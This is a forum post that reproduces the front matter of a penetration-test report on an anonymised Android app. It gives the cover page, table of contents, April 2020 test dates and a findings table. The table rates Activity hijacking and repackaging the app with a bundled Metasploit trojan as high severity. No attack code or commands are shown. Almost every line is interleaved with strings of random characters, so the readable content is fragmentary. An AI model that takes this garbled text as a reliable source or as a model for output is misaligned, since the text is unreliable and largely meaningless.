中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
) ]1 S9 D, `" Y# r$ O5 Y 9 D& G! v( E! c2 @1 b8 W

, W! M8 Y$ `* b ' F1 i( X: \ I* \9 i4 V/ K
4 _" c& t& F. ] % H8 C' Y6 o# ?# h

1 i7 H: r$ o! Z' Z" c" R; B. X! Y5 a" O5 a& j
" l' F$ _1 s" f5 x - s5 d8 I% T/ Q" o8 @- c

6 C1 I4 r) c7 d1 S5 @+ f & J* j$ O# q% B- @. F6 ^% j 文档编号:                7 |! K2 h7 R/ V. N; y" s . D' j4 g7 M* ~

" q) w) v- B, X* ?' }+ j2 U1 H 0 v* n; ]* a9 m. w

) j0 b: n, A! E; O2 H 8 N9 j9 E/ d4 o- S2 I# G8 N   6 N4 Q5 X+ \5 W# \# ] ! |# l1 |3 G: |8 s! R: n" a

* O6 } z3 k3 g2 ?% ?8 `( J+ u8 Y( t. I$ f% H$ n

) @1 H% W" f1 h, S/ @% }# H- q8 F& _" ]* U0 o0 X+ g   , n; W# L0 L. E% t* i6 E2 S ; y! V. k7 j8 [ ^6 I

# H) s) [2 K. ?: l8 o% a' ~ Z, q6 T" p+ H& {

) Q8 Q; Z! T( U4 ?6 O; C0 @1 I+ e8 W3 w- f) ]* I   & Y9 C% `4 O1 o$ M5 U$ x/ W- c {& n9 _% ~/ h. F" y+ o: W# ]

) I$ l! L. P. n4 Y ) a3 C. s6 N4 q4 `: t

& C; T: C2 f8 i3 ~9 a7 q 4 d! ^# w- f% S/ T* t+ R& K1 t   0 S1 x3 Q9 n# q _6 a # V. a$ `1 O& w3 e3 e4 |' o

% P. }" |; s; _, |) r' Q: A { / h. ^4 M+ j, L' ~" C' D7 T( x

5 b) ?2 f% \. y/ N * r5 I3 o) ]9 u0 y/ y   : j& k4 _5 { O+ n, ~5 C- U. h 8 H$ a1 H# ` O. i: y/ z

4 R& g4 o; H. q2 F' }' U' r 0 @: n% `8 X4 a5 W) i" N y* K

5 M" @- @5 Y, p , t( _! `" B7 P& B$ }5 S 某某某APP渗透测试 0 x3 K( a, a C, D2 C- z ) T+ V H1 N! Y+ z

% V4 |8 _; i4 K0 m1 w$ P( i# M2 L m7 \3 V S+ F- R, f

Q3 o; }/ p6 W( b" M 3 j @$ Q" n4 J- T   ( W, x- |; n0 H; s6 c F4 t : o! ?; ^2 E. b1 t( O8 ^

7 A+ w2 G2 D0 e$ [ ( R- @& ? Y( k) c5 B

2 K# l4 E; T2 `4 \3 x0 w5 x$ h , z6 {/ y P9 ^9 L; ^   $ T/ |2 r$ ^% w, O% \ \0 Z' ] 0 E6 o4 n+ X' h N# o+ M

. ^! ~2 d6 i7 D1 J7 D' A& N Q ! ~0 X6 ~1 ?. G) R) o& ]

7 v) y& P% l$ P6 c. ^( R6 E) _$ x ; b( f1 q# c8 y' y   * G, j7 B6 m! m9 ~' @ 4 r. ^* u2 w. z, o% W& ~3 Y9 ]

) u+ o8 @- l# ]+ I0 O3 U& e 6 {3 O% X( \! w- \4 ]. d

' l/ m, m- E1 }7 W, M. i! Z$ s! W: o7 [# \5 O5 o9 S$ w y* s   ) d1 r3 @+ i# I5 Z$ L' a5 L 5 K. y9 q# _: o, Y4 q

9 u2 e# P7 s* h1 w. U2 {3 j; s- Q+ k2 C& B

$ H8 y8 k6 S5 k2 s, Z6 Q# t6 N 6 B) [) m* `. `( ^6 y" r9 b& M. J 技 术 报 告 5 ^' X7 L+ i5 |. I- x% o( P5 i " W% J* P0 W: a9 u; S- k

0 @, r6 m: D( s( B* G" | % Z7 w0 l3 k. e# I5 T4 E, e* Q

0 b) C: z$ F+ D6 I7 F+ D7 F; Y + c) \8 N: E& h2 S: |+ w   0 u6 d& ^2 {& v6 G: w 2 N+ P' U) R; M8 V- w! d6 ]

! T) \, c& b# X) P% [" q. U4 H4 L ' J6 Z M V1 K! w5 [+ x2 a

/ `) Q. J8 y0 [: Y2 k , i4 g/ P3 w [1 O- @. q5 F Q G   6 F( u( h* |- x " V s/ u' Q1 z- o- U5 M* l

8 S, Q$ I6 {7 r% a+ J: g0 [4 E+ n* B$ G; R' v9 m1 T* Z" m' K

+ X4 d4 y% O2 }+ y3 b4 v* y0 M+ u* \   $ W! A: p# Q: H8 y( ^ 2 V( Q1 ]/ |, ?, i) z+ G: c' e0 E

* @! `; |! o3 M6 y8 q9 p 3 ~, O8 M- }& r, v. m! X

( s7 z1 b8 ~2 ], \ , A% v3 ~; V+ y, X& Y: X* k/ A   5 f% v8 ^; h* }& d8 J8 ?2 Q) k; b3 O% y5 r3 j3 H3 o3 W

3 p+ s" {2 [4 {% U1 q8 B( K + @1 r! T; L, C% c- U9 f

; F' E; \7 P/ [1 {+ c: w # e z9 y+ [; }1 Z; p0 \   $ {& Z1 u* \& \ r) S) k( B' ~# u/ }! N% h& D% N" _' ]1 _; A/ I

3 k! I% O5 j6 K$ @9 [) _ 4 F& I% b0 Z7 J) E

) I, [7 y4 {. b2 y! ? . K/ q; z& O0 \, g9 k' q. i6 d R9 Y   % A) ^( s8 ]0 T, g: ?( s " @4 G; q0 }4 x& A( i. @8 V

* N( } [& i+ B 1 `4 P9 q; D7 k4 W, X; }8 E

A5 V! ?/ f; x5 ~% I* \; Z7 s + m% T9 v/ s, x$ y   * U- R- b1 O% y. J4 p+ E& F6 H- D+ p

; q1 v; e1 |3 _/ d( v : `$ p; K1 _7 ^

% ]& `7 U! L% z; N' ~# u. X ! c+ [, J2 e( u2 _9 r" Q# C2 u1 K   , q' d8 p- T- j* g1 a: i % R' U0 W4 R- D, P. ]% V8 l: n- |

4 x8 P' M! ]. t: U2 C6 a: ^ 3 s: F/ h# m' {' I

9 [' {0 P3 Y3 I! a& w+ a* y: ^& B1 U/ o. \8 {+ \! `   9 ?& N. z9 o: ^% X$ t' d8 Y* m E/ y; I' j+ b* a% p4 O

- l. [) K9 U. A% x' t( K2 j 7 G. N* Y1 c1 h& ?: o" Y4 ~: W: O! A

; V" ]% o" n; H w, ^6 c 7 g$ z, j6 q, R9 V) t7 f   $ W% W: T2 F" l. \ * S# K! [4 t( v% X2 H

- C4 R; `8 B5 @& \( H 7 b' U: o7 B+ i) ]8 N+ {

' J* N1 x( _# f - m' s0 ?; A: ~. n9 A3 J   0 c! M! R: u& U5 E5 o" F6 a* O / U/ k6 a; c: j6 o$ Y6 ?

0 O) s3 K. x6 ]+ R4 P " x' T% D9 r5 a9 Y' p

# P2 ]1 E& L+ T' V, D* d" ]% w3 A2 M . }/ z" g* V7 V7 @   6 P7 t. V- R" V# n1 k3 z. F . i0 R( k) |% h5 h8 r

- Q8 ?# b6 o/ n% E- Y {5 ` t' Q " F9 q* m3 h1 \

7 H( n+ l6 l5 K" e. y; g- Z" L; P% K   9 B# o. T% D9 P" X4 l, `$ K1 H8 p4 g! c( H" M( l5 Y

' Q, m4 p. R* S( x6 d0 I# x % b6 K' X+ A3 L

6 f% X) j; {# h+ K) c2 \ ~ ' I; X& f/ P' H   3 A8 Z2 p' B. }0 M$ K7 l % t4 z% k! A1 Z

. P: W! B/ Z/ [) m" d1 p . H% P4 i) `8 M) h9 {

% j" Q7 \ ^9 Y 5 k9 Q" t6 }; ~0 I   / ?% u. z/ x ~9 U5 W! Y - p7 N: U# S& o) u7 D3 y# v! H

. Z5 Y5 G R/ U% {/ z+ L9 `- X. T ; q5 Q6 f( e8 s0 h5 \

, _' x: d7 Z- f- O p" x) ? $ T% ]. e) z% F   % l' N4 W/ Y6 p: u2 A& D ) T8 h1 D1 G' u1 F9 w

q( A8 e% W9 w! [, {9 Y6 z+ L3 A: `& |1 m

" b9 |9 U, r2 N- l2 s$ D5 [* _6 \# w* ~: v; A4 x5 q   ) D1 c R5 Z: g. R# S & w5 j" x/ t6 {% L

0 P( n: Q, Z, }6 O7 e: H. } # N& ?0 p7 C1 M, I6 d$ U3 E) O

. w6 i9 p- }" c* {% r6 A Y! G8 S/ l9 A. v1 T9 s3 I   5 Q( O) l; O& F9 F / t: P, O* @- U3 c

) R7 i) A6 U: U- J' G $ b2 m* K- U3 s. K7 G

3 i$ H$ D, [, j; B) J; a0 I ; f0 X( r3 X) `" c 二〇二〇年 $ v$ z% n. I( P8 \6 v8 }; j8 c3 a ^ 1 m) p# x0 s5 `4 l8 Q

- E) _9 l# j/ z$ c& U4 V 1 R: ?0 p6 m1 ]6 H* V! U
+ ^; }" _% N4 l5 A. b( H2 ~' p) v ) R% ~- ^( `( e: s) Z8 n
3 c' L3 d% q3 ^+ @6 \8 c/ E2 y1 Z8 p# B7 ]4 V
, t* F: n; S6 W/ A3 @ 4 [/ v5 c. D. A7 G, ?) @9 {
' o7 q2 i9 ^5 G* q3 S! x5 c6 ~ 4 \5 c$ V2 h5 _* z& r% o
& |3 K0 m9 j# M' D% U 1 ^* ?- H$ T! ^/ t, W1 f
, x9 o" Q3 F3 Y, d' C0 q8 \1 [* {/ M
4 T9 h3 v7 A8 ?& b % G; r. p. j) [# p% p- E
9 x" J6 r) o+ [ : t- u2 |, `# L' h) O+ O) f

1 K; F3 s9 e; O1 [5 V - Y7 T. A% a5 q+ ~! Y$ i: g9 q 目 录 1 ?, u; m& o# s8 [$ a6 b8 ^8 Q+ m. ~0 }: d5 s& c

) N% V8 r- A0 K: Q4 j' D- G; V c' I' g8 ?; {9 Z3 u- J3 n , s! g$ g9 j& [ $ ^- y Y7 F% U

# Z' w& S4 S8 x4 Q2 K! O1 D$ g0 X. _ " `6 j8 f2 t0 Z% Y2 O4 D0 {9 ^- d' U3 B   4 J: Z3 ^0 ]7 e! I! T; z8 i 1 c3 t+ m/ U' p3 |2 k

. ~( L$ o& V0 t h$ ]3 [4 D' U E3 U# g

/ U7 U! p( q; P9 b0 h: F! g . m, n$ i. d. t, Q 1 概述... 3 ) A, @: Q- S5 F " @' r! H/ `- N& S8 [* R

/ n0 @4 m$ Y" }# _ I 4 _- |3 C8 Q# o2 {9 e

" d" f% `2 O. R4 ?6 C' F# b- l G6 c. M' \2 h- {& Q- m9 J 1.2测试时间... 3 3 L/ }4 ^8 m2 U" z% T! K 3 u: h6 S' a" c( T1 A

0 A& T$ ]9 L# p9 N6 a$ V6 p" _- y6 P% ^

5 |6 U$ c2 l: z7 E; Y: j ' d$ e) U1 N; y2 A 1.3测试对象... 3 [$ Z% L* c: Q( O. N o ! S$ v. F- o1 f

( J: T. M8 { V5 k2 K+ q3 _/ B2 f+ T5 W* {

' v' Z$ S+ d. S6 D - d' z& A# ^6 U4 ^1 v- a 1.4测试结果... 3 0 R* [. n3 z3 w( `2 y1 J & Y: K, g: w' o8 v, c! W

* Q6 p( Y; j7 `9 v5 v7 S $ x8 J7 Q8 C& z$ j& m( e9 I+ t, Y, E& n

/ A+ s6 Z9 C; w & f. s7 ^8 s; D: o, z/ v 2 检测结果... 4 - ~7 |; \+ v! N) j7 L& f ' v/ u4 A4 ]. P

! w, `0 x3 v9 d% |! v ; y# N/ M' R3 A& n

7 ~# r9 ~0 u. b- E' E& h& Q 5 C0 s3 M2 X2 m0 G* B4 j3 G$ z6 o) D 2.1 某某某... 4 ! T+ T$ L7 ]& h4 s" t6 T0 h, O: L% L- X) ? B& q7 a0 Y2 C7 w

; N4 n5 \: t, C3 ~$ ` " P+ E5 A/ g" H, J

3 K9 y" ~7 O- X" E, Y3 f 0 S1 k! j( e7 q2 U3 T: U 2.1.1检测目标... 4 ; Y; S! T1 z. H) B5 ] . r+ I8 [% @9 S$ T, Q/ B

5 j3 [0 @ L6 [! i' p # `4 [( t3 R% \, z) Z+ o* F

9 b1 v( H) D6 P9 h5 Q" x . A5 ]0 T2 B7 @( s3 e3 U7 V' \3 X7 v 2.1.2检测结果... 4 8 S6 e$ c B+ Y8 b4 \' I6 P1 L7 X4 X d1 Y( v

$ l& U$ G1 n8 r) c x% c/ U1 v N& [- [8 D/ I. x1 K3 Q% Q. q

! n: W# Q; \% |$ e " ^+ O, b6 Y; N+ A* a3 Z0 k7 |# g 2.1.2.1. 4 ) w j) x# i; \ " I" O% o1 a- z7 I4 d

6 b! W# L+ q" P 9 T3 e' M2 v3 ~

5 ^8 J8 j9 Q, K% y! T* k ; Z& F8 _0 @" W5 |, q 2.1.2.2. 6 ! L" I# B$ F9 n3 N' R- N5 N# ` ?& h8 z$ b" k$ O& U

9 I ]" g: b$ {; g X$ {; p; B; c$ P! [

4 K# _( x, Z8 g) R - ^- o1 E X: D/ g! |% f5 M# n+ q5 l/ X 0 i& u2 a, `* ?& z: z- E" P( s; Z # t0 d @+ |1 q: O8 [ ^& n

+ \5 V) D. q; V+ j * R: x0 p& Q; Q4 Z
8 f( U2 h7 ~# s6 K8 p4 @: W y 1 G1 E o1 w! u* Y( R* p" k5 L3 y) x
# r0 u2 ~5 }2 b. r 5 z1 L( E/ W/ M. z
" p: u7 o/ f8 D; ~5 i7 C& n6 ?4 `4 J# H8 J$ M* B" U$ t- q4 D0 r
" t0 H0 c7 @% j * ]8 Z. V' j# y( q2 w

2 B4 h' z* C% T o2 P* D / p3 X: p: ?1 k; y; V% \ 1 概述 4 h3 |: M8 H! z# v( O2 s ( B Y- J( [3 N" B6 \$ L5 H4 f

3 v- @1 y+ L, ~; L: @1 ^ 1 T5 L, |( ?/ w

8 k8 m, S2 \( ~) l- [# V ; P; e6 z9 ?) P 1.2测试时间 % K) A; B8 e0 k0 L4 L1 ]$ k; e0 v 1 S0 {4 |" _0 c$ K

0 N9 \. x* i. F8 W 0 @' X4 s P/ j" E6 r ' b5 Y+ h$ N2 M1 F9 y7 n. y" b) Y$ f4 j# x! X8 L. f- L K/ e5 q* Q' } K* \0 C/ S$ O9 J3 h* Y6 P+ J# e. x; L9 k9 T+ A, b$ d, y9 t1 A1 ]7 y8 U' x/ q/ u1 B: [7 F W# U8 H( H; F4 U! O1 U& z# q# n, o6 O5 r; k- S# D8 `1 F4 ]* q( V; O7 y* |) C1 l& k9 v4 M: K4 N" d" _8 s# F: u) _( s$ @8 G9 m- T" E! O1 M' }" B& ?- g* T6 A' y' f/ q* ~8 U/ S" S( H3 D+ S6 D$ s2 C! p1 }9 b% d& _: P: u( D" m6 O/ I+ i) `; i! z `) f/ u7 u# d, P- \* J. ?3 U9 N) W G2 m1 k6 c- M; f, ] {+ b6 p, ^8 x& z8 q" M# z* o, x! I% ?6 F4 M0 u G& y) ^' \9 n5 _- J' r' E# P) p( }# K' a# i0 U* x9 g2 h; s, H& |9 P1 q% ~% p; r x) x- Q& j( O2 d( M! H/ M8 }/ P L# @9 @; E1 ?
/ ^0 M* G0 U% `% w+ H8 }% W 6 t% l' R+ j3 ?! k" r2 p: i

R1 Q7 J2 C/ U7 X6 M) j 2 t w5 E( A% b6 |3 K4 g B/ ` 渗透测试时间 ; ~( u9 X, a3 z- J# C! h- D : T& R$ h1 g, v& L7 H% d& G

' \, }/ {& u$ }2 q9 J7 | & p C4 [2 e, C- w& [
, L2 ^- L! S% M+ T6 `2 E% Q- X6 E - W3 x1 p7 U0 `, z

8 |# I* O. v) a- E, o y + {5 e& |! P: z8 H5 J& \ 起始时间 6 i2 H! X+ E6 r6 ~8 h' \ + H) ?/ g: P7 D/ r# O G

! z# ^' r: W) ?$ r ! c+ h' _7 s2 ~3 G, ?. s
2 T6 [: U. p- }5 b6 {& k, L . I6 _: z2 e; P$ E% W

6 U/ Y N9 s5 y8 S3 S/ i' Y: a- k7 ] Y4 v6 D9 C: t) D f 2020年4月6日 ' i5 F; q5 @& B/ v% m4 j- U" t 1 v( d# O( K F; j& Y( ]3 D1 f8 U% Y

! I- X4 m: q0 ?5 w8 e( p/ K) T& e7 Q9 L7 ?% S: X5 B5 w* b
6 D( ?" C1 x- o: X 8 L/ E( h% d8 q

, C I1 @7 d- H& P3 @; g1 @ x" a8 r+ H7 R5 A* L 结束时间 6 N( _/ D* R4 g8 m; F; k w5 J- V/ j% m7 c

& }4 Y+ H; T4 |& r! m; o9 B! V* q 3 f* M: Q: a4 E% `1 `9 p; `7 Y; y+ ^
+ [! S0 ], b/ q+ o+ b( u9 V) V - K7 J& ^3 g3 l* y* r; `8 t

& L, b, j5 M9 ~# u% y% p 4 k* k [) e% {9 T0 S D 2020年4月9日 0 z$ w# E3 D/ [% E 9 q9 }* j. P* J3 K

' y/ ^5 `( R- o : w8 S+ L! `$ `1 S4 G: P
+ @1 ^9 T) t7 J+ x& M 1 U/ P8 `# P% e6 y8 r

) w9 W2 k! Q8 a# c- c4 @- m" ~. B6 V/ J6 w1 i- _ 1.3测试对象 4 }) z3 o- E1 c; H 3 I. Z L @, w& F% L$ C( ^

+ b5 o1 |0 u% b. S 0 g( B! l# Z; n9 ~1 v% [- w

7 h* _ I: K8 K6 {& z* B4 E v + i- E+ W9 w* ~- C6 ^ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 2 u) I- O3 a+ G ! N S7 }& P# L

" l( H. G- `. y8 l$ `; e( d8 r5 O8 v; e+ ~# V. L; Y

k6 W' m0 q7 ?' C% V4 ~* t _! \/ f+ W& i5 r5 @/ o 表1-1 检测对象 7 d5 y8 l7 E J. n 2 W5 w+ p" ?- x$ R0 x/ N

; q) I$ p! U) g / H3 o! e q% g$ X8 { & S: ~1 F2 p6 l; f/ P& q+ ]/ N+ z4 q! f" @$ a8 z& a4 ?3 q+ K# A8 K$ g; F; h G4 y7 t% I0 r4 h) g! R. N8 c7 M/ {: c! _4 N$ e9 ^, r+ P& M4 E% B+ H7 [; |4 L$ x1 r2 L2 U2 e. f+ P( D% Z0 Y! }8 _ U4 r; p; }2 K* w. U0 ` V. f/ G8 \& J# Y1 s+ D( H, p, k$ b! j& g" v# A8 }) w3 }" E: ~8 F* ]7 O4 ^9 H2 H% e! ~+ h8 q0 B* X* K: {8 W% ^- x! Q. H8 T: V4 i8 Y ]; Y) p4 y T- J$ t/ ]6 a* ^" Q1 _, u. y6 M, v7 i4 J# |3 [8 T8 ]6 e, I" [6 k$ X+ j" j X( H2 A' u% i# v# r) ~8 N+ J, T( I5 G& N m$ }+ p- V6 T% Z! D; F4 _: U1 m: J, }* s4 ]) Z8 K" q/ M+ Q* F& @1 _1 [& \: Q; d V) I# W5 N0 \7 o) m. o, G1 ~: B% z2 R6 B' W% U! }4 ^ u& x* V' x* T7 F- ]" [0 {# t/ b: G: N: W" u( D; ^9 p- ]' b! Q: h- i
1 e/ d K$ C1 f0 d9 v/ |2 f- F/ v. q * v3 s7 m1 X6 w% t

% G) Y& Z" b9 N% _- r/ z, a' v$ v5 Y9 S 序号 % r8 y3 D+ o; S" s, n * ~4 s/ o7 V8 i+ J- }, L

/ o7 E& a# \8 J8 i: @# c7 i+ w3 h% M/ [
0 V+ T7 _+ }% k8 x& ] : h8 W7 h7 |+ C9 g# E/ |4 R

q9 t9 D4 }' @% w) k6 E2 w $ i* ?6 E4 o1 T# P9 x; } 测试对象 |3 E7 R* ]0 `: r2 o7 i" n : b* [) w* D% J& \! @7 V

1 {6 P) x: E( R( S ( z _& B4 ^4 E* k# ^, X
+ ~" d, d+ i" K6 v! o 3 M9 Y+ C- H7 ^4 l! `

8 ]/ f' g) ]0 }) P) _. K / |3 B' \, T) Q7 q$ n& \# Z 测试地址 7 o6 T6 Q. z& V7 V* T$ Z6 G 1 E$ i) Y4 i' V4 @

! f; [" l6 r. r7 n) @. r+ f * [) }; f; ^9 C9 ~2 J/ f- l
* _7 ~# |) L8 g7 Y + E/ i- P) y [+ s

- }' L1 F% _* [$ G4 M, I+ B/ y0 l, ]" M 安全漏洞 ) c' \$ s: F2 u% x- j" j. y5 d& k1 \ ' t4 U1 |1 H2 U* R: K

# r' f4 M! [0 E( p! R- { 5 V) V/ \% b. ?! `0 e4 I& E
; [$ E S5 B4 l+ W1 c5 m6 t; n& S9 R' x4 P: r# J/ M

! D6 D# `* w& K3 Q% w6 I/ l4 o, e3 R# y- d. H 1 ; n/ W* N# v$ o5 g! R) e$ E 1 ~3 z8 }; {; p' d; m0 W# Y8 z& w$ [

. O% x4 @% N. I- E4 U1 J 6 @2 S0 P0 q. g3 U3 c
2 u" M# f$ m/ ~) T) k0 d1 ~# S ) ]2 Z/ e/ L8 t

, i$ G: W5 m' Y/ P1 k% Q 1 t3 a8 A `1 K: e 某某某安卓APP 9 b5 w% c( H% o$ a: i 9 u2 \( h$ `2 R5 E5 h

5 Z5 ~: {. r$ I$ V0 p) O5 T7 J 5 W$ ^% @8 e7 R( _4 n
1 M7 |- t1 N. F( _1 C9 s- m' }) m 2 X7 F# L9 S$ W4 o& Y! i

+ Z6 [/ w' M, I6 I% b' R& g 6 A; |# I- {$ F8 M# j6 I% O   + P2 p `/ o/ ~2 [ 7 ~) u6 Y/ U/ g2 j

7 C9 W' d* K! a% h& x5 F( W 2 |- b8 R" P |+ w8 W
- x$ w, R& Y, m$ W9 \) B- M % l0 v- q# @5 e5 ~. B

4 c( ]! k5 U. Z 9 F+ d# g4 B& W" } 2 9 d! R( D, p) h1 {* s4 Y $ g, L6 d* q- r$ }) W7 k

8 Y: Z/ }! _ @/ l* ~ - ^7 D; g7 [! ]! g, Z$ J
7 S! Q7 n: t$ a9 m; H ) Y9 L( N" d5 }7 @

: t) y$ f& N! g' P1 E1 N$ _" @' Y5 `& k$ n; } 1.4测试结果 ( ?7 K0 T" l' c) Z" N' k5 a& J) r) a1 J! R+ ~

1 V2 `% D9 N& \' K 7 ?* Z5 C- \7 A" f1 D( `

4 q5 {9 Y9 `. ] L: T ) s# I: Y" h) F5 E+ F7 R 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: : @2 |7 A2 O9 @9 K5 g: W ) J6 Z- N* `; }4 f; ?5 _2 y \

$ H, o# E7 F# \ # X4 V. {1 G, ?! [/ z- E

2 {% X, Z' j8 w& G+ |; R3 e $ D* s, c" D5 y' l/ l   3 _+ j, `7 B, m3 L/ H) f* B7 ^. S4 o7 d% U- L

6 h) J, z- K/ `% u- @9 q& s) U O9 I; y4 X4 D
- E; s( ]- `. o* |+ p 2 d8 H1 H( s9 n9 B t; i& K. ?3 x 8 h4 j o1 j) C z. N3 \; r5 M6 Z/ b E3 f3 e( M+ \. J, [5 Q, O# T# b) A. [. C, S6 Y! ] |$ h3 I' O* x: l& v2 A' Q" L' l* V2 }4 ~# A5 B8 g, P+ T- C1 G% P, l% z+ c) k( }% o+ D: r# b! E, i2 z# Y; e. g4 \9 ?/ G3 i5 s+ [; R6 k* j! i5 ^7 _* a: ~0 ^* v/ j& p( L* L3 ~: H. ^: M0 o6 e! Z' g6 }& x( V9 G& M$ U! q! o' y$ P# \7 m1 K* {; o- P7 X p1 M8 ]! N, c$ C2 Z9 c- ]5 L1 R( S: s- N4 F7 t( n8 K. @( F( O% R1 \8 U2 i% I6 K [4 r7 Z3 p0 g$ ~ \# L3 @/ f) K& G0 I% Q7 E$ U+ @; _! x0 p* O' H5 B* L8 B: v1 j n8 `: g" a6 ?4 I9 R2 e) J. }6 F( E/ v2 h/ ]: u2 }- F( ~- Y+ Y2 b' L u- K; B6 _7 w- Z$ Y/ H j" Q& v: U9 n4 H3 n$ `& @* C1 p; C3 F P+ B& W, t) ~7 T4 d: }7 d9 {( ]) q0 s/ Y0 T; i1 m+ I; d F7 U- b" Z- p# N' Q( w, s" d; V# O: ?* z9 a2 V( S7 `( D+ _# O$ L. T& [ t; S4 |' t; }. w5 m" K- u) g- R7 _( v: Z. Z! P1 h: m5 w: C5 `! m; k% ]% a9 U% a# Q% m8 g* ~6 f% S7 U) s. I( O. G( T# F# H! z. p4 U& h. e2 O* ~) g+ e# b) @6 T/ J" m( V; }0 T5 Y- A& t l6 g/ p9 u% l# Q% T$ `1 c, }- G2 n. W4 f2 }7 g3 _0 I4 D0 ^$ D+ ^& \4 u# `; m( L% L6 f- |6 g0 K# m6 O q$ y$ N; L# k' ]5 d# s# E. D: o3 g/ L; C+ v& w4 L. X! G+ T! C5 e$ W1 m9 `: a) Q, V/ I/ g, l: W# F( w
) v, u& ?# j1 w) e + p4 J7 f# B* @& L8 T# |

! J' i: i' @: d# o2 [6 m , Y, T7 \% r) Z1 N! j; @ 序号 7 j2 L& Y% [ L/ k3 q " A; _; p" D5 K

1 ]" d: Z, V6 C% y1 ? + y+ f6 S8 S5 a& k8 B: v
/ D, R& O/ C/ |& N/ I0 u 9 o( U( I) g7 O, b) N

8 H+ K* e$ i1 l$ \/ W 8 n7 D0 P' i- e) C, g- p 系统名称 ' M2 e9 Y7 u7 d$ k# n . F3 F4 r" V9 Q9 f' X

V. N& o% J0 r0 O! |: g* p " X/ B( C6 l& \& g! {5 Y( d
! a5 C: D0 G1 h3 v6 c, D0 U2 h& n6 ^' _, A3 A {% Y$ [+ r

, [, n( |% |& m' Q( V , d7 i+ O: j9 l2 X5 Y3 l' ~# R4 v 漏洞名称 % T6 P0 K: V8 `9 E4 I- }6 K + {1 y+ U, i' H) R7 z, q( g" |' |3 [

9 t* k5 [4 [! ?8 U! Q8 H/ o0 Z : |2 J# V$ b% w- g/ n& y
9 c8 y$ K5 b- |1 x( i7 L ! J" E( d& c7 W V! H

, f7 `) ?: V, F8 ^ ! X3 `% \; r/ q2 v9 G- g: K1 q 漏洞危害 2 l% i7 t2 F% w+ u; g, k * T" k* ^" N6 q5 ?( l Z0 y1 Z

0 k8 a* [9 ]3 i: m$ f6 G( P r" U9 |" S' l 7 z2 S9 C. A0 H8 h; R! o
7 i; Z) x5 a8 [( A- y 6 i/ e l) t4 Y" p1 T& _

# ]7 X3 j8 _( J/ Z( b/ q# W- G! J) p 修复结果 ; K5 J: i4 a8 }- D# T( `8 i a0 u" e: N" h, I0 c6 G7 d* ?

' g* q0 \$ u* l7 v+ h 8 \ g. m* X+ P8 f
4 A! L2 z$ N* o t( b8 z' d- c7 h) j) Q

5 l6 p4 u' ~" H6 H# ~; B* `6 G) p( b" _, Q% T+ e2 N! | 1 + N E9 n- h% w2 ^1 e1 ^2 y. q ; e( H: G( e, Y

. Q& {. P0 k) f8 v8 S+ S* Y 9 C9 U u, ]8 X" i/ @: {
: A2 e5 @1 `* ]% k9 e7 ] & d& y$ Y& R A# c, s! y: e

( |3 j3 E8 |5 I# v9 ?0 d ! h2 m L4 b6 L+ A6 Z 某某某某某某APP - q/ {! U2 s% ]7 F( O/ E: s / d) m- S! ?* j) [; `# G- Y8 u

6 }& b) G0 n/ S; j6 j ^% m2 v4 N# g; P: X5 L
. i5 L8 s+ {( S( K0 J- _# r& m" ?0 [- B0 i+ D, S1 L" k! i

) _) F* [* H6 _6 l3 Y } 2 D2 M' @7 {$ |5 F: Y& t Activity 劫持 u3 a2 c2 m7 x3 d" `2 Q" s# e4 s8 H% P* b" A

4 |8 q: j, c) x& J( _ - {3 F( @( ]$ A+ a% V) L: z

, M4 G5 \- W; v1 q/ }% s# X5 B+ J/ O& a! B1 u4 }   ( s8 e2 U4 }7 u* m7 y5 H! c. T; m, S! L

' L' j. u3 m1 W& H5 ]4 Y* k 1 k9 E" ~- W5 ?/ [, Q" `9 O
) B4 D- f. V0 Y0 ]4 b / T$ P4 F7 n: C+ t% \* Z: X

: u5 J9 z/ W: \5 ?+ |* Y- o # v/ M r* g. @1 ]2 |: q( m 高 % g: e3 T( h2 W( `# c6 g * ^ R0 o" c( ^* X$ a

8 c: p1 B$ d! I% _0 P7 j $ x+ f F4 _( \7 `! t% x( ^7 v
: F, y0 f1 Q B$ D# R - r) z; z' X: }" ]( j) c

% \, O0 K: r" q) C2 v. R # g2 L2 K" b( K4 Q% E6 L8 o& z   & o# z& c U; T. e - ~2 e" S( m: v, j

& s! Q+ b* d' d( ~& P5 }! ^ ( r* J# ~/ {* V7 k% v3 j% R: S Z
# j+ p6 E: O2 h. c - @9 c( Z& j- w: j: F

7 @2 Z5 `8 P+ @: a0 B7 P0 G- k/ _& M k: { 2 * ~9 _- s; v2 V# }2 t8 O* V) d5 a' a# |# A* m H' k; x) w

, g2 p$ Z6 a7 F8 O5 j! v3 i3 p ( x7 z9 q# e! ?1 b8 P6 c4 r* |
% J0 ~6 m4 j7 {7 m$ ]# q ( i# t5 R. g% {5 N5 s

- D% b1 c/ v/ K9 M9 \# V + C; d; C: c1 s9 g/ ?/ T! g 某某某某某某APP 3 f: g' ~/ \! G . Y- {3 E4 |3 T7 ^" e

! E# M/ D! V! U2 d( h/ c6 Y* Y- N
]! _/ E; u" E" X: J- t/ ?( @4 i1 y( r % ~8 Z4 w* ]0 F+ K# ~

' ?! h. A# O) j. D/ S3 G* T 9 c/ y3 k3 L$ w" Y! i$ K 反编译二次打包捆绑木马、篡改APP代码 " ?$ b/ n1 ?, F G q , H& @: {" V3 a% [+ y) a' K8 Q7 e

' U: P- c6 Q5 j9 x7 L8 S) _1 m" q : w! s# g' m' I
9 P: ^9 u: W) L1 P3 L m: L8 a/ i4 g" ?

5 K1 j* S+ o9 Z! N+ c' A ) m5 W. ?3 `3 u& W: u) a6 P 高 ; i7 }# [( |& Y, e' g3 V! G2 _* D( u M

& G8 L8 |5 e2 T- f, U) E5 k& I* c : o$ u2 l ?5 [+ ^
& J: q! S ~6 H & i9 N1 [- @9 ]3 Y, I

' V G( ~) H" H# P& r" w6 T( E X * H: C$ N7 Z3 ?& r   , y* t0 r' G. ^6 X: d: { o7 @, S8 {4 |! h

# W- W m1 H, c. ^/ F4 H . p6 F- g. N" t+ v0 D& o+ {
$ x7 N" R+ c8 V! k7 `$ r9 y : A$ H4 T6 ~! _$ `& {# p
1 L) m4 t) u2 \) |( l 7 e# M6 w. p9 X# T1 C! ^

